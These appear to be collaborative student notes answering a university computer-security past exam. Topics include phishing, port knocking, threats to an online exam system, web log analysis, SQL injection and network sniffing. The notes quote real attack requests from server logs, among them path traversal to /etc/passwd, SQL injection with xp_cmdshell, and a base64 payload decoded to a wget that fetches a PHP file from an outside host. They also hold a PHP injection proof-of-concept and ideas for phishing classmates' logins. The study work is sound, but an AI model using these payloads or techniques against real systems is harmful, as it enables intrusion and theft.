**Question 1**

**Ai)**

*Is this assessed?* why not?

**Spear (targeted) Phishing**

* Phishing against specific people/sub-organisations/teams
* E.g. directed phishing emails to security/admin staff with control over access rights
* Combines social engineering with phishing (e.g. use knowledge about personalities/jobs to tune phishing emails)

Adv

* Discrete: Could only affect one single person, so nobody else knows
* Powerful: Some staff will have a lot of control over infrastructure
* Easy: Sending (convincing) phishing emails is very simple
* Effective for APT; if only interested in one target, only requires one targeted email
* One shot: if discovered, very unlikely to fall for it again
* Risky: acquired knowledge may have clear origin

**DNS Hijacking**

* Compromise DNS resolver, to control DNS resolutions of the target
* Compromise registrar/TLD to hijack DNS resolver’s power

Adv

* Can affect all members of organisation; steal anybody's information/accounts
* Powerful: at most can effectively shut down a business
* Difficult: DNS resolvers likely have good security
* MITM a website can be obvious (e.g. bad certificate/badly copied UI)
* More likely to be detected; as now two organisations are involved
* APT usually require long term; DNS hijacking may get stopped in a day

**Bi)**  Use online tools such as c, you can discover domains that are currently unregistered, which means that they are very likely to be controlled by the attacker.

* a.doulbeclick.org
* apple-iclouds.net
* <http://google-ana1ytics.com>
* micr0soft.org
* [http://microsoftazuread-sso.com](http://microsoftazuread-sso.com/)

**Bii)**

The examiner feedback suggests looking for port knocking.

Idea 1/ 10.39.26.150:1352, since 1352 is not a common port. (might not be correct) --There are other high numbered ports wow-- ;(

Idea2/: Uses port knocking to hide service. Increments port and knocks on IP 10.39.26.9 with 0 length packages, until finally sending non-0 length packages with payload to 10.39.26.9:35572. Makes sense or am I just making stuff up?

Idea3/: 10.39.26.132, because it seems to be serving brexit.gov.uk from a local webserver  
(DNS Hijacking?)

Idea Q4/: Agree with idea 2 about port knocking but I think the port knocking is happening with a different source/destination pair: 10.39.26.13 and 10.39.26.150. Log snippets:

2020-04-29 17:59:25.408706 IP 10.39.26.13:33694 > 10.39.26.150:80: Flags [S], seq 719317062, win 29200, options [mss 1460,sackOK,TS val 755869 ecr 0,nop,wscale 7], length 0

2020-04-29 17:59:25.408789 IP 10.39.26.150:80 > 10.39.26.13:33694: Flags [R.], seq 0, ack 719317063, win 0, length 0

2020-04-29 17:59:30.361099 IP 10.39.26.13:47725 > 10.39.26.150:1352: Flags [S], seq 3213090065, win 29200, options [mss 1460,sackOK,TS val 756735 ecr 0,nop,wscale 7], length 0

2020-04-29 17:59:30.361100 IP 10.39.26.150:1352 > 10.39.26.13:47725: Flags [R.], seq 0, ack 3213090066, win 0, length 0

2020-04-29 17:59:32.329186 IP 10.39.26.13:47728 > 10.39.26.150:1352: Flags [S], seq 2510248038, win 29200, options [mss 1460,sackOK,TS val 757599 ecr 0,nop,wscale 7], length 0

2020-04-29 17:59:32.329368 IP 10.39.26.150:1352 > 10.39.26.13:47728: Flags [R.], seq 0, ack 2510248039, win 0, length 0

2020-04-29 17:59:35.781547 IP 10.39.26.13:33699 > 10.39.26.150:80: Flags [S], seq 547804056, win 29200, options [mss 1460,sackOK,TS val 758462 ecr 0,nop,wscale 7], length 0

2020-04-29 17:59:35.781635 IP 10.39.26.150:80 > 10.39.26.13:33699: Flags [R.], seq 0, ack 547804057, win 0, length 0

2020-04-29 17:59:39.289298 IP 10.39.26.13:43387 > 10.39.26.150:80: Flags [S], seq 1380792358, win 29200, options [mss 1460,sackOK,TS val 759339 ecr 0,nop,wscale 7], length 0

2020-04-29 17:59:39.289548 IP 10.39.26.150:80 > 10.39.26.13:43387: Flags [S.], seq 1557038902, ack 1380792359, win 28960, options [mss 1460,sackOK,TS val 773955 ecr 759339,nop,wscale 7], length 0

The connection knocks on 80, 1352, 1352, 80 and gets all Resets. After this it connects on 80 and then finally gets a SYN-ACK.

Agree with Idea 4.

**Question 2**

**Ai)**

Information disclosure: using an SQL injection to steal answers belonging to another student.

Tampering: using an SQL injection to delete all answers belonging to another student (e.g. for revenge) just seconds before the end of an exam.

Tampering (?): using an SQL injection to change questions displayed to students.

Any other ideas not using an SQL injection?

Ye, here: Stored-XSS / File Upload (polyglot images) - screw the lecturer when they open up the image / user data (tamper with what they see, delete files)

**Aii)**

*Denial of service:* using a botnet to perform a DDoS attack on Answerbook in order to take down its servers and disrupt an exam. You could do this by renting a botnet on the internet which aren’t too expensive.

*Tampering* – Somehow find a way to do a stored XSS on Answerbook or exams.doc.uc.ac.uk to mess with other students...?

*Spoofing* - Could perform spear fishing on students by spreading exclusive exam solutions (who in the right mind wouldn’t click on that) or email students as Sergio with a fake Answerbook link and gather login information that could then be used to login into their account and see the answers.

*Tampering* - DNS hijacking – Would be quite far-fetched but you could for example poison DNS from some uni accommodations to redirect to other website. Not very convinced about that one though

*Repudation*: tell lecturer you could not access answerbook, unable to take exam. Objective: avoid taking exam. How: deny ability to access/login/technical issues which weren’t your fault.

*Tampering*: change answers after the exam time is over. Objective: achieve a higher grade. How: Javascript attacks (e.g. change browser clock time provided to JS).

Any other ideas?

b) i.

Yes:



This will be required to be sent from any form submission.

b) ii.



CSP: prevents unauthorized scripts and content running in page.



XFO: prevents page becoming iframe. E.g. embed iframe to steal answers (as they’re stored on server). Clickjacking to make you fail.



Server only reveals minimal information (only the name, “gunicon”) about the http server framework; no numeric version specified so attacker cannot research vulnerabilities by version.

Biii)

Harden CSP e.g. “cdn.jsdelivr” is an allowed domain, but DNS hijacking could allow for XSS

i.e. Content-Security-Policy: default-src ‘self’

Don’t do answer reflection i.e. autosaving answers from textbox. Make it more like a form, where when you’re finished you click submit, and only at that point, does a request go to server.

X-XSS-Protection: 1; (although deprecated)

**Question 3**

**Ai)** ~~file inclusion~~ path traversal -> can be detected by pattern matching on the URL (e.g. detecting ../../) and using blacklist/whitelist of words allowed/banned (e.g. shadow, passwd)

SQL injection -> can be detected in the queries again using expression matching. We expect inputs like (or 1=1 # to be malicious and those can easily be detected)

Stored XSS -> similar to previous one. Can be detected via pattern matching

**Aii)**

clear attempt to detect path traversal vulnerability.

E.g. 5.62.34.31 - - [24/Oct/2018:12:15:05 +0100] "GET /~ANON/previous/Robotics/index.cgi?page=../../../etc/passwd%00 HTTP/1.1" 200 1062 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101

This log seems to be doing smth sketchy too but not sure what (seems to be an XSS coupled with SQL injection)

*176.10.104.240 - - [13/Oct/2018:05:29:53 +0100] "GET /~ANON/phpsemantics/files/kphp.pdf?PGXZ=4380%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable\_name%20FROM%20information\_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp\_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 632500 "-" "Mozilla/4.0 (compatible; MSIE 5.13; Mac\_PowerPC)"*

5.44.173.71 - - [06/Nov/2018:04:18:52 +0000] "GET /~ANON/teachlocal/cuscomp/papers/soc-OverviewProcessors.pdfforumrunner/request.php?d=1&cmd=get\_spam\_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(**table\_name**)%20from%20(**information\_schema.tables**)where%20(table\_schema=database()%20and%20(table\_name%20REGEXP%200x7573657224)%20and%20(0x00)%20in%20(@x:=concat(@x,0x3D626173653D,table\_name,0x3D626173653D))))x),5,6,7,8,9,10--%20- HTTP/1.1" 404 349 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0"

104.196.16.49 - - [24/Nov/2018:23:29:23 +0000] "GET /~ANON/papers/w//wordpress//produits/?items\_per\_page=%24%7b%40eval(base64\_decode(cGFzc3RocnUoJ2NkIHdwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAxO3dnZXQgaHR0cDovL3d3dy5hd3RjLmFpZHQuZWR1Ly9jb21wb25lbnRzL2NvbV9iMmpjb250YWN0L3VwbG9hZHMvdHh0LnR4dDttdiB0eHQudHh0IGl6b20ucGhwJyk7))%7d&setListingType=grid HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" -> Decode the hashed content gives “passthru('cd wp-content/uploads/2018/01;wget http://www.awtc.aidt.edu//components/com\_b2jcontact/uploads/txt.txt;mv txt.txt izom.php');”, which is then evaled to download a suspicious php script from an external source (possibly malicious).

**Bi)**

Sanitize inputs

Use non-freeform entry (i.e. dropdown list, radio buttons)

Remove input altogether (Stored Procedure)

Parametized Queries

Prepared statements

1st better for users (keeps everything the same, whilst secure). 2nd more guaranteed to make it secure. 3rd guarantees security even more well - loses feature.

**Bii) Can’t find the vunlernability in this one. Anybody wants to help out?**

Anon1: I gave up :’(. The only thing I can think of is $sql = $this->quoteInto($text, $value); in condition helper which may be escaped with the right quotes

Anon2: Yeah I am not sure either. I was just thinking that it could be possible to write several conditions in X which means it could be ORed and we can do smth like OR 1=1. The query will then be passed to whatever next block and excuted there. See code below.

foreach ($condition as $orCondition) {

$queries[] = sprintf('(%s)', $this->prepareCondition($field, $orCondition));}

$query = sprintf('(%s)', implode(' OR ', $queries));

Basically, my idea is that you need to make $conditions an array but with none of the default conditions. This means that that whatever is in the array will be ORed and we could OR whatever sql statement. Pls confirm or reject this hypothesis.

Any other suggestions?

Anon3 (Prab): -> When you put “{{field}}” in $condition, \_conditionHelper() replaces it with the actual field, resulting in a ‘1’=’1’-like condition which is kind of SQL injection. This assumes that '{' and '}’ are not changed by quoteInto() though, so it might be wrong (the examiner feedback suggests that many students marked a safe line as vulnerable probably because of assumptions about the code not shown in the file).

* Wouldn't it cause it to become y = ‘y’, since it would be quoted to be {{field}} = ‘{{field}}’?

Anon4: not sure if this counts, but we can get it all to evaluate to be true if $condition = array(array(‘null’), array(‘notnull’))?, but idk if that counts as a proper injection, since we’re just making it all be true

Anon5: Putting a value of unexpected type in $condition? (e.g. an anonymous function)

Rayan: $x gets converted to a string at some point (the cast towards the end of the main function), maybe pass a class with an overriden \_\_toString()???? No idea what to do with this though

Maks (based on the Rayan’s idea):

**It doesn’t work unfortunately 🙁 (see comments on the right)**

$x = new class {

public function \_\_toString() {

global $field;

$field = "firstname = ''; DROP TABLE EXAMS; -- ";

return "none of your business";

}

};

When $db->prepareCondition(‘y’, $x) is called, the following line should be called inside prepareCondition():

$query = $this->\_conditionHelper($conds['eq'], (string)$condition, $field);

Casting $x to a string causes the \_\_toString() function defined above to be called, changing the value of $field to an SQL injection snippet. Then, that SQL injection value is passed to \_conditionHelper() and is NOT escaped by quoteInto(). This makes prepareCondition() return a vulnerable query.

The above bug could be fixed simply by checking whether $condition is a string or an integer as expected by the author(s) of the original code.

Here’s a quick code to try:

<?php

$x = new class {

public function \_\_toString() {

global $field;

$field = "firstname = ''; DROP TABLE EXAMS; -- ";

return "none of your business";

}

};

$field = "firstname";

echo $field . " ||| ";

function helper($a, $b, $c) {

echo $c;

}

helper(null, (string)$x, $field);

?>

The output I’ve got is:

“firstname ||| firstname = ''; DROP TABLE EXAMS; -- ”.

If the above is still not correct, then I don’t know what the valid answer is...

**Question 4**

**Ai)** Network Address Translation: When a PC makes a request out to the Internet, it's directed to the router/firewall. The router/firewall changes the source IP address of the packets to its public IP address, notes the connection request in its memory, and sends them on their way on the Internet. When a response is received, the router looks up the connection in its memory, and this time changes the destination address from the public IP to the local IP of the machine which initiated communications. It then sends the packet on its way on the inside network.

This is done using ports NAPT/PAT on most modern home systems

**Aii)**

Sniff the network in promiscuous mode, you can view all HTTP packets as they are not encrypted. Similar to one of the tutorials.

Maybe use MAC Flooding to force the router into fail-safe mode, so it essentially served as a hub by sending all its incoming packet to all ports. Thus, the attacker (I.e., another flatmate that are connected to the same LAN) can also receive data packets intended for victim’s machine, and know which sites the victim is browsing

**Aiii)**

You need to intercept the session key used in the flatmates’ HTTPS sessions in order to decrypt their packets and view the sites they are visiting. By default it would not be possible to know these sites as the packet contents are encrypted. At most you could view the destination IP of the packets and do a reverse DNS lookup to know the domain they are visiting, but not the exact URL.

(Not sure if it’s correct or not) Send phishing email / install rootkit / malware to victim’s computer (e.g., Mebroot as discussed in the CW paper). The malware such as Torpig can intercept and steal data even before the HTTPS connection is established, so that victim’s browsing history can be exposed to another flatmate.

If the victim is security-conscious and very well-trained against phishing / Advanced Persistent Attack, he/she might not fall for this types of trick

Would it not be just that you can see the websites being visited if promiscuous mode is on? If it is not wireshark would not be able to see the http request being made through the NAT. With HTTPS the packets are encrypted, but domain (aka ip of destination is not)

I agree with that last sentence, the other flatmate can find the domain (but not URL) and this is “finding out their browsing” (otherwise the question just doesn’t really make sense).

It’s not possible to find out another's browsing with IPsec ESP Tunnel Mode (i.e. VPN).

If the TLS communication with the website’s server (< TLS 1.3) uses only SNI, the request being sent contains an unencrypted domain name so that can be read. If the communication is over TLS 1.3 utilising ESNI, this is encrypted during the TLS handshake so the domain name is not visible.

**Aiv)** I believe the correct answer should use CSRF attack followed by a DNS hijacking attack, so that the victim will be tricked into browsing a spoofed HTTP website. Steps are discussed as follows:

1) Modify the settings on home routers, potentially via cross-site request forgery (CSRF) web-based attacks, so that the attacker use rogue DNS servers.

2) When visiting a compromised site, the victim is unknowingly redirected to a router exploit kit landing page, which is usually opened in a new window or tab, initiating the attack on the router automatically, without user interaction.

Counter

measures: DNSSEC / IDS?

4b:

From what I remember it involved decrypting some string in order to find a post command attack on some router, which was as far as most people got

To sum up our feelings after this q last year:

